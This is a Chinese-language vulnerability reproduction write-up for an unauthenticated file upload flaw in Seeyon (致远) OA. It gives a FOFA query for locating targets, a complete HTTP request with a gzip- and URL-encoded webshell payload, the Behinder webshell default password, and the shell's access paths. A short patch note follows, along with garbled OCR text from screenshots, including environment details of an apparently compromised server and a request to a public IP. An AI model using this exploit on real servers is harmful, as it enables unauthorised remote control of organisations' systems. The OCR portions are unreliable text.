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一、漏洞介绍
致远OA是一套办公协同管理软件。近日，致远OA ajaxAction 文件上传漏洞利用代码披露,由于致远OA旧版本中某些接口存在未授权访问，以及部分函数过滤不足，攻击者通过构造恶意请求，可在无需登录的情况下上传恶意脚本，从而控制服务器。目前致远OA官方已针对该漏洞提供补丁。如果存在此漏洞，还请尽快修复。

二、影响版本
 致远OA V8.0
   致远OA V7.1、V7.1SP1
   致远OA V7.0、V7.0SP1、V7.0SP2、V7.0SP3
   致远OA V6.0、V6.1SP1、V6.1SP2
   致远OA V5.x
   致远OA G6

3、 漏洞复现
1、FOFA语句

title=="致远A8+协同管理软件 V8.0SP1"
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2、判断是否存在漏洞
https://xxx.xxx.xxx.xxx/seeyon/thirdpartyController.do.css/..;/ajax.do
[image: ]
3、利用工具可生成payload
生成的payrload主要是把shell做了gzip数据的压缩然后在进行 url的编码
[image: ]

burp发送如下数据

POST /seeyon/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip HTTP/1.1
Host: 127.0.0.1
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
loginPageURL=; login_locale=zh_CN;
Content-Type: application/x-www-form-urlencoded

managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00uTK%C2%93%C2%A2H%10%3E%C3%AF%C3%BE%0A%C3%82%C2%8Bv%C3%B4%C2%8C%C2%8D+c%C2%BB%13%7Bh_%C2%88%28*%28%C2%AF%C2%8D%3D%40%15Ba%15%C2%B0%C3%B2%10%C3%AC%C2%98%C3%BF%C2%BE%05%C3%98%C3%93%3D%C2%B1%C2%BDu%C2%A9%C3%8C%C2%AC%C3%8C%C2%AF%C3%B2%C3%BD%C3%97k%C3%B7%14_H%C2%8E%C2%9DC%C2%95x%C3%9D%3F%C2%98%C3%81%17%C3%A6M%C2%A28%C2%A4%C2%96t3%2F%C3%8D%C2%BA%C3%AF%C3%A2y%C2%99%5C%C2%BC4EqT%3Fj%C3%99%05E%3E%C2%938Y%C3%80%C3%BC%C3%89t%C3%BA%C3%BD%C2%A7%C2%AB%C3%A7%3AI%C2%92%3E%C2%A5%C2%9EW%C3%85%C3%91S%C3%A7%C3%BB%C3%AFL%7B%7E%0B%C2%9D%C3%82%C3%A9%C2%A3%C2%B8%C2%BF%C2%A3%26%C2%99qA%C2%99wa%C2%92w%C2%9A%C2%A3%00%C2%91we%3EQ%C3%AB%C3%95%C3%B8%C2%8F%1D%C2%AD%C2%81%3C%26%C3%90%C3%89%C2%BCA%3FL%C2%93%C2%B2%C3%B3%C3%B0%13%C2%9E%C2%B9%C2%BB%C2%92%06%1E%C3%86%C2%B5%2F%3B1%C2%B9%C2%81YR%C2%B9%C3%9C%C2%98%C2%95%C2%96A%C3%A6%C2%8A%C3%82mKj%19%C2%8B%C2%9C%C2%A5%C3%8A%C2%82Y%5C%C2%AC%C2%B9%24%C2%80d%C2%9E%03%5E%C3%8F%C3%97D%29%5Cm%2C%1F%07%2F%C3%85Q%5CD%C2%B6%26%C3%B9%C2%90%C3%A8%15%C3%A0p%C3%A1%C2%86%2C%C3%9Ah%C3%83J%0A%C2%87%C3%8FN%C2%A4%5C%C2%B7DM%00%C3%91C%28b%C3%8E%C3%96%C2%84%C2%ABe%40%2C%C2%898%03%C3%A2%C2%B8%C2%825%3EYp%C2%96%26%0C%C3%A8%7B%C2%BAFq%C3%9A%C3%B0%C2%A6%C2%9F%5B%C3%BCJ%00K%C2%B5%C3%B8TFqmc%C2%93%C3%8BH*va%C3%B9%0F%C3%A0_%C2%BE%C3%99%C2%A2%1E%C2%BA%C3%A2%C2%A2%C2%B2L5q%C2%B9%C3%A1%C2%A3%24*%C2%A9e*7iq%C3%B4m3%60mC8%C2%83j2%C2%A3%3A7%C3%80%C2%96%C2%85e%C2%A8%18D%C2%99.%C3%8F%5B%C2%BD%C2%838%0E%28F%25%C2%89%C2%9B%C3%84%C3%A3%C2%95%01%C2%A0%C2%B4L%C3%A9-%3F%C2%B8Bc%C2%95%3A%C3%86%C3%86%C3%9Fse%00%C3%B8%C2%8DoW%01%C3%B2L%15K%C2%8B%0CZ%08%C2%8Fh%7C%2C4W%C2%B9%C2%B4l%C3%AD%C3%96D%C3%856%C3%81%C2%B9%7Dl%C2%B1eQJ7%C3%93%12%C2%ADI%C2%89%5D%02Ygz%1E%C2%9DL%C3%B6%C2%99%C3%A6%C2%B4%C3%8E%C3%BB%C3%996j%C2%BDU%40s%40%C3%B3w%C3%8F%5B%C2%A4%C2%84%C2%80%C3%A0%2B%14K%0Cg%C3%82%01.W%C2%89K%C2%80%C3%AF%C3%9CXd%1F%C3%B6%03%C3%BB%C2%B0%C2%A9%C2%B6%C2%86%C2%8D%C2%ADP%3Fo%0F%C3%92%C3%80B%C3%92%08p%C3%BA%C2%AD%C2%A9%01%12%C2%AE%C3%90T%0D%C3%8B%28%07%C2%B6%C3%A6%23%C2%A8I%C2%A9S%C2%9DG%7B%0E_%C2%9D6%C3%86%C3%B1%1B%C2%BD%26%10%C3%839%C2%A6uU%03%C2%97%28X%C2%9E%C2%AE%26%C2%AA%C2%BEA%C3%B2%21%0B%C3%974%06%C3%87%C3%9C%C3%87%1BT%C3%A6%C2%B6%09%C3%BC%23%C2%A7%C2%87u%C2%AC%1A%C2%A7%0BG%7E%C2%82%C2%AD%C3%8A%C2%8F%3F%C3%BC%19%C3%99%C2%BF%C3%BE%C2%99%C3%88%C2%95%C2%84d%C2%AD%C2%91O%C3%AB%7C%C2%81%C3%8AO%C3%96o%C3%B8%C3%9Ay%C3%A4%12%C2%9D%C2%A7%C3%B5%C2%89%C2%A1%18%24%C2%A0j%C3%B4%C3%9A%C3%BA%C3%94z%C2%8D_%C2%BF%C3%96F%C2%9E%C2%9E%C2%A9%1C%C3%84V%25%C2%9C%5D%C3%96%C2%A6%C3%B9X%C2%A4%C2%B2%28%60XMn%C3%90%18%C3%A6%C2%AE%C2%81o%C3%B4m%C2%BA%C3%97%C2%95%C2%85%12%C2%AAs%C2%9A%C3%97%C3%A2n%C2%977%C3%BD%C3%81%C2%A9x%1F%C3%A9%C3%84%C2%A6%C2%BD*%2FW%18%C2%98%3A%06%C3%BC%3E%C2%B79%C2%9D%3D%12%C3%BD%C3%AD%C2%8F%1C%C3%944%C2%9D%5E%C2%97%1Cc%C3%AAgBc%C2%A0%C3%B1%C3%83%C2%95%1B%29%C2%ACe%08%21%C2%8D%C2%8F%C3%BA%C2%A1%C2%97%C3%90X%C2%A4%C2%A0%0A%C2%9A%C2%9E%C3%9Es%C3%A3%1C%C2%8A%C3%BA%10%C3%92%C3%9A%C3%AE%C2%A6%C3%A3%C2%A6%27%01%C2%A7T%C2%8E9a%5DQgw%C3%A1%C2%B5h%C3%AB%C2%BA*%5C%7E%C3%BF%C3%B8%3E%C3%ADL%C2%9AG%7D%C2%82R%C3%90%C2%9F%C2%BCh%C3%B3o%C3%83%C2%99%07bH%07%1E%C3%9E%C3%AFv%C3%96%3FW%C3%AA%C3%BDw%C2%AA%5B%C2%B3%3B%C3%93%C3%9A%C2%B6L%C3%AF%0E%C3%98o%C3%AFI%7E%3AQ%C2%80f%09%3C%7C%C3%A9%1C%0F%C2%8B%C2%AF%C3%8F%1F%C2%97%C3%84%C3%87%7D%C3%93o%18%1C%C3%B5%3E%C2%82%C3%BF%C2%9F.%C3%80q%C3%AAQ%C3%87%7E%7C%C2%AF%C3%B7%21%25%C2%A0wb%C3%92%C3%8C%C3%89%10%60%C3%8A%C2%B2%C3%AC%3D%C2%BCv%7F%C3%90%25I%17%C3%A5k%7Dg%C2%97%C3%9C%C3%AB%C3%BE%C3%BD%2FheA%C3%A4_%05%00%00
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(2):访问webshell页面
https://xxx.xxx.xxx.xxx/seeyon/txf1.jspx
[image: ]
(3):成功连接webshell
冰蝎3的默认密码 : rebeyond
webshell地址: http://127.0.0.1/seeyon/SeeyouUpdate1.jspx
[image: ]

四、漏洞修复
1.升级到安全版本
2、或者安装补丁
http://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=1
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PROCESSOR_LEVEL=6

FP_NO_HOST_CHECK=NO
_RUNJAVA="C:\Sceyon\A8\Apacheletspeed\bin!\. . \jdk'bin\java.exe"
TSSE_OPTS=Djdk ls.cphemeralDHKeySize=2048
SESSIONNAME=RDP-Tcp#0

ALLUSERSPROFILE=C:\ProgramData

JAVA_OPTS=server -XX:+UseG1GC -Xmx16G -XX:MaxGCPauseMillis=1000 -

PROCESSOR_ARCHITECTURE=AMDS64
PSModulePath=C:\Windows)system32\WindowsPowerShelliv1.0'Modules\
SystemDrive=C:

ENDORSED_PROP=ignore.endorsed.dirs
JRE_HOME=C:\Sceyon| A8\ Apacheletspeedibin!\.\..jidk
=ExitCode=00000000

USERNAME=Administrator

ProgramFiles(x86)=C-\Program Files (x86)

PATHEXT=COM; EXE; BAT; CMD; VBS; VBE; JS; JSE; WSF; WSH; MSC
ProgramData=C:\ProgramData

ProgramW6432=C: Program Files

HOMEPATH=\Users\Administrator

_RUNJDB="C: Seeyon|A8\Apacheletspeedibinl\... \jdkbin'jdb.exe"
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 63 Stepping 2, Genuinelntel
ProgramFiles=C:\Program Files

PUBLIC=C:\Users\Public
CCURRENT_DIR=C:\Sceyon\A8\Apacheletspeed\bin

windir=C:\Windows
LOCALAPPDATA=C:\Users\Administrator\AppData\ Local
EXECUTABLE=C:\Sceyon\A8\ApacheJetspeed!bin!..\bin\catalina. bat
CATALINA_TMPDIR=C:Seeyon'A8\ApacheJetspeedibinl\..\temp.
USERDOMAIN=WIN-D68L35QPOBE
LOGONSERVER=!\WIN-D6SL35QPOBE

TANIA TIOME ) Camerre) A 91 ArvarhaTatemasdibinil | 1idl
<

[OKIEERTH, EAEEFI=R,

DAS datasource properics. filepath="C:\Seeyon| A8\ Apacheletspeedbin!\.\./base/conf datasourceCtp.properties” -
XX:+HeapDumpOnOutOfMemoryEiror -XX:-OmitStack TraceInFastThrow -Doracle jdbe useNio=false -Dsun.zip.disableMemoryMapping=true -
Dorg apache.el.parser. COERCE_TO_ZERO=true -Digroups.bind_addr=0.0.0.0 -DDEE_HOME="C:\Sceyon|A8\ApacheJetspeed bin!..\..base/dec” -
Djdktls.ephemeralDHKeySize=2048 -Djava protocol handler. pkgs=org apache.catalina webresources
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| SHELLING | Bypass WaF | AuthCheck
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Request

@Pmn\s Headers | Hex

Response

(o] [

Target: hitpi/144.123.38.10:4234 [ £ 2

Host: 144,123 38.10:1234
Content-Length: 3560

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Content-Type: application/x-wwwform-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebIit537 36 (KHTML,
like Gecke) Chrome/B7.0.4280.88 Safari/537.38

Accept

text/html application/xhtml-xml application/xm; 4=0.9 image/avifimage/webp image/apng
8 application/signed-exchange;v=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN 2hiq=0.9

Cookie: JSESSIONID=ABEBSE7774D384D0DECD0584DOBIR0ZD: loginPageURL=
Connection: close

manageMethod=validateBarguments=2%1F%C2%BB%08%00% C2%I4%3A% C3%BC%5
Fo00%C3%BFuTKs%C2%A3F % 10%3E%27 % C2%BF % C2%82%C3%B2Evy %23%23
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(C3%IF $%C3%334%7 B%CI%BB%7 C%C2%BF 1% C3%A2%C2%87 % C2%3B0%C2%BF
3%C3%BD%C3%B7 %56%C3%A4%C2%I6% CI%AE%10%25%C3%83%2Du%C3%89
%C3%BD3%C3%BA%CI%BDI%C2%I3%C2%BE%CI%EE%] C%05%C2%BB8%C3%B
D%C2%BA%CI%BI%CI%B4%C3%ACK C2%BE%CI%B5%C2%BF %C2%BF %C3%B9
%C3%AB%C3%A3N%1Bei%7 Ds % C3%B7 %2F %2As%C2%BD%20%0B%7 D% C2%8C

%C3%IB%10%C2%BER2%01%C3%B3%C2%B4%C3%B1 %C2%B8%09%2B%2F %C3
%83%C3%IC%C2%I3%C2%84%C3%EB%0BIN%2CI%C2%37 %1 A%OB%CI%AEI%C2
%BI%CI%AB%CI%I2%10%C2%IDE %01 x%C2%AIX% 13%C2%BE%CI%BA4%CI%E
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(2) (<) (=] (=) [Tpe 2 search omn 0 matches
(€3]S ER R
Done

HTTP/1.1 500
Taga No-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 51

Date: Tue, 30 Mar 2021 035817 GMT
Connection: close

Sener SYB045

{'message”null"cods"."707669758!

‘details":null)

I3

v

B EJ B Ej Type a search tem

0 matches

289 bytes | 558 millis





image6.png
B ssuEmE ey + =

<« C @ O s ey 0n/txf1 jspx nmeoeneae ® =
B xameEsuss B9 BAmiE B afesE [BangEnss
ani=i=

RERGEIR, BHElocalhost logEBIHASHE:

java.lang.NullPointerException




